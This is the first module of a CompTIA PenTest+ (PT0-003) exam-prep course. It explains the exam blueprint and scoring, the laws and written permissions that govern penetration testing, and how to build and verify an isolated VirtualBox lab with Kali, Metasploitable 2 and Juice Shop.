Module 1: Before You Begin: The Exam, the Law, and Your Lab
Find out which PenTest+ exam you will sit, how its five domains are weighted, what its questions look like and how they are scored; learn the laws and written permissions that separate a penetration test from a crime; and build the isolated lab on your own computer that every later exercise uses.
Ninety Questions in 165 Minutes: Reading the PenTest+ Blueprint
- Identify the current PenTest+ exam (PT0-003), its launch date, the status of the PT0-004 draft, and the format, time limit and passing score of the exam you will sit.
- Describe the five PT0-003 domains and their weights, and use each objective's verb to predict how it will be tested.
- Explain how simulation PBQs, criterion-referenced scoring, retakes, renewal and the rules for candidates under 18 work.
- Explain the safety rules this course follows and plan your study around practice testing and spaced review.
One exam on sale, one in draft
On 17 December 2024 CompTIA launched exam PT0-003, the third version of PenTest+, its certification for penetration testers. The second version, PT0-002, retired on 17 June 2025, so PT0-003 is the only PenTest+ exam you can book today. CompTIA's PenTest+ page says an exam usually retires about three years after launch, and it estimates 2027 for PT0-003, but it has not announced a date.
The next version already exists on paper. CompTIA's page of exam objectives under development lists a draft for PenTest+ V4, exam PT0-004, in document version 1.1, copyright 2026. Its number of questions, length and passing score all read "TBD", its domains carry no weights yet, and no launch date has been announced. This course follows PT0-003, objective by objective. If you will sit the exam after PT0-004 launches, check the retirement date CompTIA announces for PT0-003 before you book, and map this course onto the final V4 objectives when they are published.
Before you study for any test, read its specification. This lesson works through the PT0-003 specification in order: who it is written for, how it is weighted, what the questions look like, how they are scored, and which rules apply before you book. It also sets out the safety rules that every later lesson follows. The lab at the end turns the blueprint into a tracker you will use for the rest of the course.
Exam objectives: none directly. The lesson maps all twenty-six PT0-003 objectives, 1.1 to 5.4, to the lessons that teach them.
Who the exam is written for
CompTIA recommends three to four years of experience in a penetration tester job role, with the knowledge of Network+ and Security+ or the equivalent. A penetration tester is hired to attack an organization's systems the way a real adversary would, with the organization's written permission, and then to explain what they found and how to fix it. That permission is the entire difference between the job and a crime, which is why the next two lessons spend so long on it.
The opening section of the PT0-003 objectives document says what a certified candidate can do. In paraphrase, there are four abilities. You can plan and scope a test and gather information for it. You can carry out attacks that stay inside legal and compliance requirements. You can work through every phase of a test with suitable tools and tactics, techniques and procedures, adapting the tools where needed. And you can analyze the results to write a report, communicate the findings to stakeholders, and recommend practical fixes. Notice that two of the four abilities are about planning and reporting, not attacking.
This course assumes the material of the site's Security+ Certification Prep and, behind it, Network+ Certification Prep. When a lesson leans on them, for example on the TCP handshake, Kerberos or certificate chains, it gives a short reminder and points you back rather than teaching the topic twice.
Key idea: PenTest+ tests the person who plans, carries out and reports an authorized attack. Expect questions that hand you a scope document, a scan result or a log excerpt and ask what you should do next, or what you should write down.
PT0-003 and the PT0-004 draft side by side
Here are the two versions as CompTIA's pages and documents described them on 3 November 2026.
| Feature | PT0-003 (V3) | PT0-004 (V4 draft) |
|---|---|---|
| Status | On sale since 17 December 2024 | Draft objectives, document version 1.1 |
| Dates | No retirement date announced; CompTIA estimates 2027 | No launch date announced |
| Questions | Maximum of 90, multiple-choice and performance-based | Multiple-choice and performance-based; number TBD |
| Time | 165 minutes | TBD |
| Passing score | 750 on a scale of 100 to 900 | TBD |
| Recommended experience | 3 to 4 years as a penetration tester | 3 to 4 years as a penetration tester |
| Domains | Five: engagement management 13%; reconnaissance and enumeration 21%; vulnerability discovery and analysis 17%; attacks and exploits 35%; post-exploitation and lateral movement 14% | Six, weights TBD: engagement management and reporting; reconnaissance and enumeration; vulnerability discovery and analysis; attacks and exploits; post-exploitation; automation and artificial intelligence |
| Languages | English, French, Japanese, Portuguese | Not yet stated |
Two things stand out. The draft puts reporting into the name of its first domain and adds a sixth domain on automation and AI, so those topics are growing. And a draft is a draft: CompTIA says the draft documents are taken down and replaced by final objectives when development ends, so nothing in it is settled. The exam you can study for with certainty is PT0-003.
Key idea: plan your time by PT0-003's weights. Attacks and exploits carry 35 percent, the largest single share. The other 65 percent is planning, finding, validating, moving and cleaning up. A candidate who studies only attacks has studied a minority of the test.
Five domains, twenty-six objectives
The objectives document splits each domain into numbered objectives and lists example topics under each one. The table paraphrases every objective and names the lessons that teach it. Download the document from CompTIA (linked in the Sources) and keep it beside the course: it is the nearest thing you have to the exam's own syllabus.
| Objective | What it asks of you (paraphrased) | Lessons |
|---|---|---|
| 1.1 | Summarize the work done before testing: scope, regulations and standards, rules of engagement, agreements, targets, assessment types, shared responsibility, and legal and ethical duties | 2, 3, 4 |
| 1.2 | Explain how testers collaborate and communicate: peer review, stakeholders, root causes, escalation, secure distribution, risk, reprioritized goals, business impact and client acceptance | 31 |
| 1.3 | Compare testing frameworks, methodologies and threat models such as PTES, OSSTMM, ATT&CK, OWASP, STRIDE and DREAD | 5 |
| 1.4 | Explain the parts of a penetration test report and what to consider when writing one | 32 |
| 1.5 | Given a scenario, analyze findings and recommend technical, administrative, operational and physical fixes | 33 |
| 2.1 | Given a scenario, gather information passively and actively | 6, 7 |
| 2.2 | Given a scenario, enumerate hosts, services, users, shares, directories, secrets and wireless networks | 7, 8, 23 |
| 2.3 | Given a scenario, modify Bash, Python and PowerShell scripts for reconnaissance | 9 |
| 2.4 | Given a scenario, choose and use reconnaissance and enumeration tools | 6, 7, 8, 23 |
| 3.1 | Given a scenario, discover vulnerabilities with network, host, application, container, secrets, wireless and industrial scanning | 10, 11, 23 |
| 3.2 | Given a scenario, analyze and validate the output of earlier phases and select public exploits | 12 |
| 3.3 | Explain physical security testing concepts | 13 |
| 4.1 | Given a scenario, analyze output to prioritize targets and prepare attacks | 14 |
| 4.2 | Given a scenario, carry out network attacks with suitable tools | 15 |
| 4.3 | Given a scenario, carry out authentication attacks with suitable tools | 16, 17 |
| 4.4 | Given a scenario, carry out host-based attacks with suitable tools | 18, 19 |
| 4.5 | Given a scenario, carry out web application attacks with suitable tools | 20, 21 |
| 4.6 | Given a scenario, carry out cloud attacks with suitable tools | 22 |
| 4.7 | Given a scenario, carry out wireless attacks with suitable tools | 23 |
| 4.8 | Given a scenario, carry out social engineering attacks with suitable tools | 24 |
| 4.9 | Explain attacks on specialized systems: mobile devices, AI, operational technology and short-range radio | 25 |
| 4.10 | Given a scenario, use scripting and breach and attack simulation to automate attacks | 26 |
| 5.1 | Given a scenario, establish and maintain persistence | 27 |
| 5.2 | Given a scenario, move laterally through an environment | 28 |
| 5.3 | Summarize how data is staged and exfiltrated | 29 |
| 5.4 | Explain cleanup and restoration after testing | 30 |
Look at the verbs. Eighteen of the twenty-six objectives begin "Given a scenario". Those are where you should expect to be handed evidence, such as a scope statement, an Nmap result or a web request, and asked to act on it. The other eight ask you to summarize, explain, or compare and contrast. An "explain" objective still needs real understanding, because the exam rarely asks for a bare definition; it describes a situation and asks which concept fits.
Many scenario objectives use the word "perform": perform network attacks, perform authentication attacks, and so on. On the exam, a question of that kind puts you in an authorized engagement and asks which technique, tool, option or next step fits, or what a piece of output means. This course teaches those decisions in full. It does not hand you attack recipes, and a later section of this lesson explains why.
Three more details from the document matter. First, it warns that its bulleted lists are examples rather than complete lists, so other tools and tasks that belong to an objective can appear.
Second, it has a few slips. Its acronym list expands BIA as "Business Intelligence Analytics", but objective 1.2 lists business impact analysis, which is what BIA means in risk work. Objective 5.2 writes "Window Management Instrumentation" and "Window Remote Management" for the Windows services WMI and WinRM. And the acronym list expands TTP as "Techniques, Tactics, Procedures"; NIST's glossary, like most of the field, says tactics, techniques and procedures. This course uses the correct forms and flags each slip where it arises.
Third, the document ends with a proposed list of lab hardware and software, which the study section below comes back to.
What the questions look like and how they are scored
CompTIA lists two question types: multiple-choice and performance-based. A multiple-choice item usually sets a short scene, such as a tester reviewing a scan or a client email, and asks for the best of several plausible answers. A performance-based question (PBQ) asks you to do something: put attack phases in order, match tools to tasks, read output and pick findings, or complete part of a report.
CompTIA's explainer describes two kinds of PBQ. Simulations imitate a tool or environment with restricted functions. Virtual PBQs run real operating systems. PenTest+ appears only in its list of exams with simulations, and four rules about simulations are worth knowing before the day:
- A simulation has a reset button, so a wrong first step is recoverable.
- You can skip a simulation and return to it later; your work is saved as you go.
- Partial credit may be given, so a mostly correct answer is worth finishing.
- Scoring allows for more than one valid way of solving the task.
Now the arithmetic. If you sit all 90 questions and use the full 165 minutes, you have 165 divided by 90, about 1.83 minutes, or 1 minute 50 seconds per question on average. PBQs take longer than that and many multiple-choice items take less, which is why the time plan in Lesson 30 budgets them separately.
The passing score is 750 on a scale from 100 to 900. That scale is not a percentage of questions answered correctly, and you should not try to convert it into one. CompTIA's exam development page says its exams are criterion-referenced: your result is compared with a fixed cut score for minimal competence in the job role, not with the other people who tested that month. CompTIA does not disclose pass rates.
Key idea: a simulation can be reset, skipped and revisited, and can earn partial credit, so the worst strategy is to sink fifteen minutes into one early and leave easier points unanswered at the end.
Rules before you book
- Delivery. Pearson VUE delivers CompTIA exams, including online through its OnVUE remote proctoring service, which begins with photos of your testing space and a room scan.
- Candidates 17 and under. Since 23 June 2026, CompTIA's candidate ID policy has required a parent's consent through CompTIA Central before a minor registers, and a parent no longer has to come to the test center. The minor still needs authorization for each testing event and one photo ID, and a school ID is acceptable. For online exams, CompTIA's exam delivery policies still say a guardian must be present at check-in and show government-issued ID. The two pages can change separately, so read both before you book.
- Retakes. There is no waiting period between a first and a second attempt. Before a third or later attempt you must wait at least fourteen calendar days from your last one. You cannot retake an exam code you have already passed, and every attempt is paid for in full.
- Renewal. CompTIA certifications expire three years from the certification date. PenTest+ is renewed with 60 continuing education units (CEUs) earned within that cycle, plus CompTIA's annual continuing education fees. Earning a qualifying certification instead, which for PenTest+ means SecurityX or CySA+, renews it in full, and the fees are then waived.
- Price. When this lesson was checked, CompTIA's PenTest+ page pointed to its Buy now section rather than quoting a price, so this course states none. Check CompTIA's store for your country.
One more rule is ethical. The objectives document says CompTIA does not condone "brain dumps", sites that sell or share real exam questions, and that candidates who use them will have their certifications revoked and be suspended from future testing. Every question in this course was written for the course; none comes from the exam.
CompTIA and PenTest+ are trademarks of CompTIA, which does not endorse this course. No course can honestly promise that you will pass. What it can do is teach the objectives properly and give you the right kind of practice.
The rules this course works by
Penetration testing is unusual among IT jobs: its central skill is a crime when it is done without permission. The same port scan, password guess or crafted web request is professional work inside a signed engagement and an offence outside one. So the course works by five rules, and they hold in every lesson.
- Everything is authorized. Every scenario in a lesson or a quiz is an engagement with written permission from someone entitled to give it. Lessons 3 and 4 show what that permission looks like.
- Your lab, and only your lab. Lesson 2 builds an isolated lab on your own computer: deliberately vulnerable virtual machines on a host-only network with no route to the internet or to anyone else's systems. Before every lab that touches a target, the lesson repeats the warning: testing a system without its owner's written permission is illegal and wrong, under laws such as the US Computer Fraud and Abuse Act and the UK Computer Misuse Act.
- Hands-on means discovery, enumeration and verification. The commands you type find hosts, list services, read banners, check configurations and confirm findings, and they point only at your lab's private addresses.
- Attacks as mechanisms, not recipes. For each attack the exam names, you learn what it does, the weakness it relies on, how defenders detect and prevent it, and how a tester reports it. You will not find exploit code, payloads, malware, lure messages, or steps for slipping past defenses in this course.
- Reporting gets its full weight. Every attack lesson ends with how the finding is written up and fixed, and Module 9 spends three lessons on communication, reports and remediation.
There is a cost to these rules, and you should know it. A text course cannot give you the practiced hands that come from hundreds of hours on supervised engagements and purpose-built training ranges, which is where professional testers build them. What the exam's simulations ask, though, is that you choose correctly and read results correctly, and that is exactly what the lessons and your lab train.
How to study with this course
Two study habits have unusually strong evidence behind them. In a 2013 review of ten learning techniques, John Dunlosky and four colleagues rated practice testing and distributed practice, meaning study spread out over time, as high utility. Highlighting and rereading rated low, because their gains were inconsistent.
The course is built around the high-utility pair. Every lesson ends with ten scenario questions, and every explanation says why the right answer is right. Take each quiz on the day you finish the lesson, then again a week later before you reread anything. Record which objective each missed question belongs to, and let the misses, not the lesson order, decide what you review. Expect the second attempt to feel harder than the first: that effort is part of the learning.
The objectives document's proposed lab list is long. Its hardware includes wireless adapters capable of packet injection, a directional antenna, NFC and RFID cloning equipment, a lock pick kit, a programmable logic controller and a software-defined radio kit. Its software includes penetration testing frameworks, scanners, credential testing tools, web proxies, command-and-control tools and access to a cloud environment.
This course uses only the free software on that list, on your own computer, and no radio or cloning hardware. Cloud and wireless topics are taught from documentation and published sample data instead: a cloud free tier asks for a credit card, and radio testing reaches into airspace you share with your neighbors.

Zirguezi - CC0 - Wikimedia Commons
Common misconceptions
- "PenTest+ is an exploitation exam." Attacks and exploits are 35 percent. Scoping, reconnaissance, vulnerability analysis, post-exploitation and reporting make up the rest, and two of CompTIA's four headline abilities are planning and reporting.
- "Once I pass, I am allowed to test systems." A certification is not a license or a permission. Authority to test comes only from the system's owner, in writing, for a defined scope.
- "A 750 means I need about 83 percent." The 100-900 scale is a reported score compared with a cut score; it is not a percentage of items answered correctly.
- "I should wait for PT0-004." It has no launch date, no weights and no question count, and drafts change. PT0-003 is the exam you can book.
- "If a tool is not named in the objectives, it cannot appear." The document says its lists are examples. Learn what each kind of tool is for, so an unfamiliar name in a question does not throw you.
Where this leaves us
- PT0-003 launched on 17 December 2024 and is the only PenTest+ exam on sale; PT0-002 retired on 17 June 2025, and a PT0-004 draft has no launch date.
- PT0-003 allows at most 90 questions in 165 minutes, multiple-choice and performance-based, with a passing score of 750 on a 100-900 scale.
- Its five domains weigh 13, 21, 17, 35 and 14 percent: engagement management, reconnaissance and enumeration, vulnerability discovery and analysis, attacks and exploits, and post-exploitation and lateral movement.
- Eighteen "given a scenario" objectives need the most practice reading evidence and choosing actions.
- PenTest+ PBQs are simulations: they can be reset, skipped and revisited, and can earn partial credit.
- This course is authorized testing only, in your own isolated lab, with attacks taught as mechanisms and every finding carried through to a report and a fix.
Sources
- CompTIA. (2026). CompTIA PenTest+ (exam details for V3, PT0-003; retrieved 3 November 2026). comptia.org
- CompTIA. (2023). CompTIA PenTest+ PT0-003 V3 certification exam objectives (Exam Objectives Document Version 5.0, printed December 2024). CompTIA (PDF)
- CompTIA. (2026). CompTIA exam objectives under development and DRAFT CompTIA PenTest+ V4 exam objectives (PT0-004, Exam Objectives Document Version 1.1). comptia.org; CompTIA (draft PDF)
- CompTIA. (n.d.). Performance-based questions. comptia.org
- CompTIA. (n.d.). Exam development, Exam delivery policies, Candidate ID policy and CompTIA certification retake policy. comptia.org (development); comptia.org (delivery); comptia.org (candidate ID); comptia.org (retakes)
- CompTIA. (n.d.). Certification renewal policy, Earn continuing education units (CEUs), Earn a higher-level CompTIA certification and CompTIA continuing education program FAQ. comptia.org (renewal); comptia.org (CEUs); comptia.org (higher-level); comptia.org (fees)
- National Institute of Standards and Technology. (n.d.). Tactics, techniques, and procedures (TTP). Computer Security Resource Center glossary. csrc.nist.gov
- Dunlosky, J., Rawson, K. A., Marsh, E. J., Nathan, M. J., and Willingham, D. T. (2013). Improving students' learning with effective learning techniques: Promising directions from cognitive and educational psychology. Psychological Science in the Public Interest, 14(1), 4-58. Summary at Association for Psychological Science
- Key terms
- PT0-003
- The exam code for PenTest+ V3, launched 17 December 2024; the version this course follows.
- PT0-004 draft
- CompTIA's draft objectives for PenTest+ V4, with six domains and no announced launch date, weights or format details.
- Penetration test
- An authorized, simulated attack on an organization's systems, carried out to find weaknesses and report how to fix them.
- Exam objectives
- CompTIA's published list of domains, numbered objectives and example topics that the exam measures.
- Domain
- One of the five weighted areas of PT0-003, from engagement management (13 percent) to attacks and exploits (35 percent).
- Simulation PBQ
- A performance-based question that imitates a tool or environment; it can be reset, skipped and revisited, and may earn partial credit.
- Criterion-referenced scoring
- Scoring that compares each result with a fixed cut score for competence, not with other candidates' results.
- Brain dump
- Real exam questions sold or shared without authorization; using them can cost a candidate their certifications.
- Continuing education units (CEUs)
- CompTIA's renewal credit; PenTest+ needs 60 within its three-year cycle.
Permission First: The Law, Your Own Lab, and Proving It Is Isolated
- Explain how the US Computer Fraud and Abuse Act, the Van Buren decision, the Justice Department's charging policy and the UK Computer Misuse Act apply to security testing.
- Explain why written authorization from a system's owner is the precondition for every test, including tests of your own lab.
- Build a lab of a tester VM, a deliberately vulnerable target and a local web application on a host-only network.
- Prove the lab's isolation with tests rather than assumptions, and predict how changing a network mode changes the risk.
A port scan in Cherokee County
In December 1999 Scott Moulton was a consultant maintaining the emergency 911 system for Cherokee County, Georgia. He was setting up a router to link the Canton police department to the 911 center. He worried that the new connection might weaken the center's security, so he ran some preliminary port scans of the networks involved. One of the machines he scanned was a county web server owned and run by a competing firm, VC3. VC3 noticed, emailed him, and then reported him to the police.
Moulton lost his 911 maintenance contract and was arrested under the Computer Fraud and Abuse Act. VC3 claimed damages for the time it spent investigating. A civil court eventually held that his unauthorized port scan did not violate the federal law or Georgia's, and the criminal charges were dropped. Gordon Lyon, the author of Nmap, tells this story in his book on the tool and notes what the victory cost: six-figure legal bills and years of stress. His advice is short. Get written authorization from the target network's representatives before you scan.
A port scan is the gentlest thing a penetration tester does. If one scan of the wrong machine can cost a contract and bring an arrest, everything else in this course needs a firmer footing. This lesson gives it one: the laws that draw the line, the written permission that keeps you on the right side of it, and an isolated lab on your own computer where every later exercise happens.
Exam objectives: introduces 1.1 (legal and ethical considerations, including authorization letters), which Lessons 3 and 4 complete. The lab built here is used by every later lab.
Stephen Matthew Milligan - CC BY-SA 3.0 - Wikimedia Commons
The rules in one table
Two statutes, one court decision and one prosecutors' policy cover most of what you need. The table paraphrases each and says what it means for a tester.
| Rule | What it says (paraphrased) | What it means for a tester |
|---|---|---|
| Computer Fraud and Abuse Act (CFAA), 18 U.S.C. 1030, United States | A crime to intentionally access a computer without authorization, or to exceed authorized access, and thereby obtain information (subsection (a)(2)); a crime to knowingly transmit a program, code or command that intentionally causes damage without authorization ((a)(5)(A)); anyone who suffers damage or loss may sue ((g)), if the conduct involves one of the harms the statute lists, such as at least $5,000 of loss in a year | Authorization is the whole question. A test that knocks a client's server over can bring a lawsuit as well as a prosecution, so scope and care both matter. |
| Van Buren v. United States (2021) | You "exceed authorized access" when you obtain information from particular areas of a computer, such as files, folders or databases, that are off-limits to you | Your authorization is a list of places you may enter. That is why a scope names systems, addresses and applications rather than saying "test our network". |
| Justice Department CFAA charging policy, Justice Manual 9-48.000 (2022) | Federal prosecutors should decline to charge when the evidence shows that the conduct consisted of, and the person intended, good-faith security research: testing or correcting a flaw in a way designed to avoid harm, with the results used mainly to improve security. Research done to extort the owners does not qualify. | The policy guides federal prosecutors only. It creates no right you can enforce in court, does not stop a civil suit or a state prosecution, and can be changed. |
| Computer Misuse Act 1990, United Kingdom | Section 1: unauthorised access to computer material. Section 2: the same, with intent to commit further offences. Section 3: unauthorised acts intended to impair a computer's operation, or reckless as to that. Section 3ZA: unauthorised acts causing or risking serious damage. Section 3A: making, supplying or obtaining articles for use in offences under sections 1, 3 or 3ZA. | In the UK, getting hold of a tool can itself be an offence when it is meant for misuse. Keep your authorization and your purpose written down. |
Read the Van Buren row closely, because it shapes how scopes are written. Nathan Van Buren, a Georgia police sergeant, used his own valid login to search a license-plate database for money, against department policy. The Supreme Court decided the case on 3 June 2021, six votes to three, in an opinion by Justice Amy Coney Barrett. It held that the "exceeds authorized access" clause asks a gates-up-or-down question: could you enter that part of the system at all? Misusing information you were allowed to reach is a matter for other rules.
For a tester the lesson runs the other way. Your gates are whatever the client opened in writing, and every system outside the list is a gate that is down.
Other countries draw the line differently, and some draw it tighter. Lyon's legal chapter records a 17-year-old in Finland convicted of attempted computer intrusion for port scanning a bank, and fined the cost of the investigation. If you test anywhere outside the US and the UK, the local law applies, and a client's lawyer should confirm it before the work starts.
Remember: "it is probably legal" is not a standard a tester works to. You work inside a written authorization from someone entitled to give it, or on equipment you own.

颐园居 - CC BY-SA 4.0 - Wikimedia Commons
What counts as permission
On a real engagement, permission arrives as a set of signed documents: a contract, a statement of work, rules of engagement and an authorization letter. Lessons 3 and 4 take them apart. For now, three tests separate real permission from the kind that fails when it matters.
- The right person gives it. The owner of the systems, or someone with documented authority to speak for the owner. An administrator who looks after a server does not necessarily have the authority to let you attack it.
- It is written. A conversation cannot be shown to a police officer at midnight or to a court a year later.
- It is specific. It names the systems, the dates and times, and the kinds of testing allowed. "Feel free to look around" is not a scope.
In this course the systems are your own computer and the virtual machines you build on it, so you are the owner. You will still write a short scope for your lab, because the habit is what protects you later. If the computer belongs to a school or an employer, get written permission from its owner before you install a hypervisor or any security tool on it.
Remember: testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. That sentence opens every lab in this course that touches a target, starting with this one.
The parts of the lab
The lab has to do three things: run the testing tools, give you deliberately vulnerable systems that are yours to probe, and keep everything inside it from reaching anyone else. Every part is free.
| Part | What to use | Notes |
|---|---|---|
| Host | Your own computer, with hardware virtualization enabled | Kali alone wants at least 2 GB of RAM and 20 GB of disk; with a target VM and a browser-based proxy running, 8 GB of RAM is a practical floor and 16 GB is comfortable |
| Hypervisor | Oracle VirtualBox 7.2 (Windows, macOS on Intel or Apple silicon, Linux) | The base package is GPLv3. The separate Extension Pack has a personal and educational use license; this course does not need it |
| Tester VM | Kali Linux 2026.3, the pre-built VirtualBox image | Logs in as kali / kali until you change it. Nmap, Wireshark, tcpdump, Netcat, Nikto, Burp Suite Community and Python 3 come with the default image; ZAP does not, so step 5 installs it |
| Target VM | Metasploitable 2, Rapid7's intentionally vulnerable Ubuntu Linux image | Logs in as msfadmin / msfadmin. Its web server also hosts DVWA (admin / password), Mutillidae, phpMyAdmin, TWiki and WebDAV. Host-only networking, always |
| Web target | OWASP Juice Shop, run in Docker on the Kali VM and bound to 127.0.0.1 | A deliberately insecure modern web shop for the web lessons. Images exist for x86 and Arm |
Metasploitable's own guide is blunt: the image should never be exposed to a hostile network. DVWA's documentation says the same of DVWA: never put it on an internet-facing server. These machines are built to be broken into. The lab's design exists to make sure the only person who can reach them is you.
None of these downloads needs an account. Rapid7's download page asks for contact details; the SourceForge copy that Rapid7's documentation also lists does not. Pulling Juice Shop from Docker Hub needs no account either. But Docker's terms (effective 26 August 2026) govern anonymous downloads too. They require users to be at least 13, and users from 13 to 17 may use Docker's services only with the prior consent and supervision of a parent or guardian.

Iketsi - CC BY-SA 4.0 - Wikimedia Commons
Building it, step by step
Work through the steps in order. Each one ends in something you can check.
- Check virtualization. On Windows, open Task Manager, choose Performance, then CPU, and look for "Virtualization: Enabled". If it says disabled, the setting is in your computer's firmware (UEFI) menu.
- Install VirtualBox. Download it from virtualbox.org and compare the file's SHA-256 hash with the checksum published on the downloads page before you run the installer.
- Create a host-only network. In VirtualBox's Network Manager, add a host-only network with its DHCP server enabled. VirtualBox's host-only networks normally use addresses in 192.168.56.0/21; a first network is typically 192.168.56.0/24, with your host at 192.168.56.1. This network will hold your host and your lab VMs and nothing else.
- Import Kali. Download the pre-built VirtualBox image from kali.org and check its SHA-256 hash. It arrives as a 7z archive: extract it, then choose Add in VirtualBox and select the .vbox file inside. Give the VM two adapters: adapter 1 on NAT, so it can download updates, and adapter 2 on the host-only network. Log in as kali / kali and change the password at once with
passwd. - Update Kali and install Docker. While the NAT adapter is connected, run
sudo apt updateandsudo apt full-upgrade, thensudo apt install -y docker.ioandsudo systemctl enable docker --now, as Kali's documentation gives them. Install ZAP for the web lessons withsudo apt install -y zaproxy. Fetch the Juice Shop image now, while you still have a route out:sudo docker pull bkimminich/juice-shop. - Snapshot Kali and name the snapshot "clean". A snapshot saves the VM's whole state, so any experiment can be undone in seconds.
- Add the target. Download Metasploitable 2 (about 800 MB compressed), unzip it, and create a new VirtualBox VM of type Linux, Ubuntu (32-bit), using the existing disk file it contains. Give it exactly one adapter, on the host-only network: never NAT, never bridged. Snapshot it.
- Cut Kali's route out. For lab sessions, set Kali's adapter 1 to "Not attached". VirtualBox describes this mode as a card with no cable plugged in. Reconnect it only when you need updates, and never while a target is running. Take a second Kali snapshot now and name it "isolated", because VirtualBox restores a VM's settings along with its disk: going back to "clean" would plug the NAT adapter back in.
- Start Juice Shop on loopback only. On Kali, run
sudo docker run -d -p 127.0.0.1:3000:3000 bkimminich/juice-shop, the command Juice Shop's own guide gives, then browse to 127.0.0.1:3000 in Kali's browser. The 127.0.0.1 in that command publishes the port on Kali's loopback interface only, so no other machine, not even your host, can reach the shop.
A note for Apple silicon Macs: install Kali from its Apple Silicon (ARM64) installer image, because the pre-built VirtualBox image is x86-64 only. VirtualBox on an Arm host runs only Arm guests, so it cannot run Metasploitable 2, a 32-bit x86 machine. A separate emulator such as QEMU can, but emulation is slow, so the simple answer is to skip the target VM. Juice Shop runs natively on Arm, and the lessons that use Metasploitable also give sample output to analyze.
Proving the lab is isolated
Isolation is something you test, not something you assume. Run these checks now and again whenever you change a VM's settings. First find each VM's address: ip -br addr on Kali, ifconfig on Metasploitable. This course writes Kali as 192.168.56.101 and Metasploitable as 192.168.56.102; use the addresses your own VMs show. The outward test aims at 192.0.2.1, an address reserved for documentation, so it troubles nobody even if isolation has failed.
| Test | Command | Result you need |
|---|---|---|
| Kali reaches the target | On Kali: ping -c 3 192.168.56.102 | Three replies |
| The target has no route to the internet | On Metasploitable: route -n, then ping -c 3 192.0.2.1 | No line with destination 0.0.0.0, and "Network is unreachable" at once. 100% packet loss is a fail: it means a route out exists |
| Kali has no route to the internet during lab work | On Kali, with adapter 1 not attached: ip route, then ping -c 3 192.0.2.1 | No line starting "default", and "Network is unreachable" at once |
| Juice Shop listens on loopback only | On Kali: sudo ss -tlnp | Port 3000 shown on 127.0.0.1, not on 0.0.0.0 or 192.168.56.101 |
| Nothing unexpected shares the network | On Kali: sudo nmap -sn 192.168.56.0/24 | Only your host, the DHCP server and your own VMs |
The last row is your first scan. It is a host discovery sweep: it asks which addresses answer, without probing any ports. It is legal here for exactly the reason Moulton's scan was not clearly legal: you own every address in that range and wrote it into your scope. If a host you do not recognize appears, stop and find out what it is before going further.
Now run the same lab with one input changed. VirtualBox's manual sets out what each network mode lets a VM reach.
| Mode | VM to host | Host to VM | VM to VM | VM to outside network | Outside network to VM |
|---|---|---|---|---|---|
| Host-only | Yes | Yes | Yes | No | No |
| Internal network | No | No | Yes | No | No |
| Bridged | Yes | Yes | Yes | Yes | Yes |
| NAT | Yes | Port forwarding only | No | Yes | Port forwarding only |
| NAT Network | Yes | Port forwarding only | Yes | Yes | Port forwarding only |
Suppose that, to save a step, you leave Metasploitable on VirtualBox's default NAT adapter. Nothing on the internet can start a connection to it, so it feels safe. But read the fifth column. A NAT VM can reach outward, so a machine full of published flaws now has a path to the internet. Also, your Kali VM, on its own separate NAT network, cannot even reach it to test it.
Switch it to bridged and the result is worse. It joins your home or campus network as a peer, so every device on that Wi-Fi, and anyone else connected to it, can reach a machine whose login and flaws are documented on the web.
Only host-only, or an internal network, gives a vulnerable machine the combination you want: reachable by your tester VM, unreachable by anything else.
DVWA's documentation recommends NAT for a machine running DVWA, and NAT does block unsolicited connections from outside. This course goes one step further and takes away the outbound path as well, because a deliberately vulnerable machine has no reason to talk to the internet at all.
Remember: the target's "Network is unreachable" is the most important result in this lesson. Check it again after every change you make.
What you will and will not do in this lab
Kali ships with hundreds of tools, including exploitation frameworks such as Metasploit. Having them installed is normal for a tester; what matters is what you point them at and why. In this course you will use Kali's discovery, enumeration and analysis tools against Metasploitable and Juice Shop: finding hosts, listing services, reading banners, running vulnerability scanners, observing web traffic in a proxy, and checking configurations. You will not run exploit modules, build payloads, or handle malware. The attack lessons teach how each attack works, what it leaves behind, how it is stopped and how it is reported, which is what the exam's questions test.
Three habits keep the lab safe. Shut the target VM down when you are not using it. Restore snapshots rather than repairing a broken VM by hand, so you always start from a known state, then rerun the isolation tests, because a restore brings back the adapter settings saved with the snapshot. And keep your lab notes, including the scope you are about to write, in one folder, the way you would keep records on a real engagement.
Common misconceptions
- "Port scanning is always legal" or "always illegal." Neither. No US federal law names it, but state laws, provider contracts and civil suits all apply, and other countries have convicted people for it. Scan what you own, or what someone with authority has listed in writing.
- "The Justice Department's policy protects good-faith researchers." It guides federal prosecutors. It is not a statute, it binds no state and no civil court, and it excludes research done to extort.
- "A VM on NAT is isolated." NAT blocks unsolicited inbound connections but lets the VM reach outward. Host-only or internal networking keeps a vulnerable machine in.
- "My own lab does not need a written scope." Legally you are the owner, but the habit of writing down what is in scope is what stops a stray scan of your router or your neighbor's network.
- "An administrator can authorize any test on the systems they run." Authority comes from the owner. Looking after a system is not the same as being entitled to let someone attack it.
Putting it together
- The CFAA punishes access without authorization or beyond it, and Van Buren defines "beyond" as entering areas that are off-limits to you; damage also opens the door to civil suits.
- The Justice Department's 2022 policy steers federal prosecutors away from good-faith research, but it creates no enforceable right and excludes extortion.
- The UK Computer Misuse Act covers unauthorised access, access with further intent, impairment, serious damage, and making or obtaining tools for those offences.
- Permission must come from the right person, in writing, and name specific systems, times and techniques.
- Your lab is VirtualBox, a Kali tester VM, Metasploitable 2 on host-only networking, and Juice Shop bound to Kali's loopback, with snapshots to undo mistakes.
- Prove isolation with tests, and never give a vulnerable VM a NAT or bridged adapter.
Sources
- Computer Fraud and Abuse Act, 18 U.S.C. 1030. Legal Information Institute, Cornell Law School. law.cornell.edu
- Van Buren v. United States, No. 19-783 (U.S. June 3, 2021), slip opinion and syllabus. Supreme Court of the United States. supremecourt.gov (PDF)
- US Department of Justice. (2022). Justice Manual 9-48.000: Computer Fraud and Abuse Act (charging policy, including good-faith security research). justice.gov
- Computer Misuse Act 1990, c. 18. legislation.gov.uk. legislation.gov.uk
- Lyon, G. (2009). Legal issues. In Nmap network scanning: The official Nmap project guide to network discovery and security scanning. Insecure.Com LLC. nmap.org
- Oracle. (n.d.). Virtual networking; Guest operating systems; Snapshots. In Oracle VirtualBox user guide for release 7.2; and Download VirtualBox. oracle.com (networking); oracle.com (guests); oracle.com (snapshots); virtualbox.org (downloads)
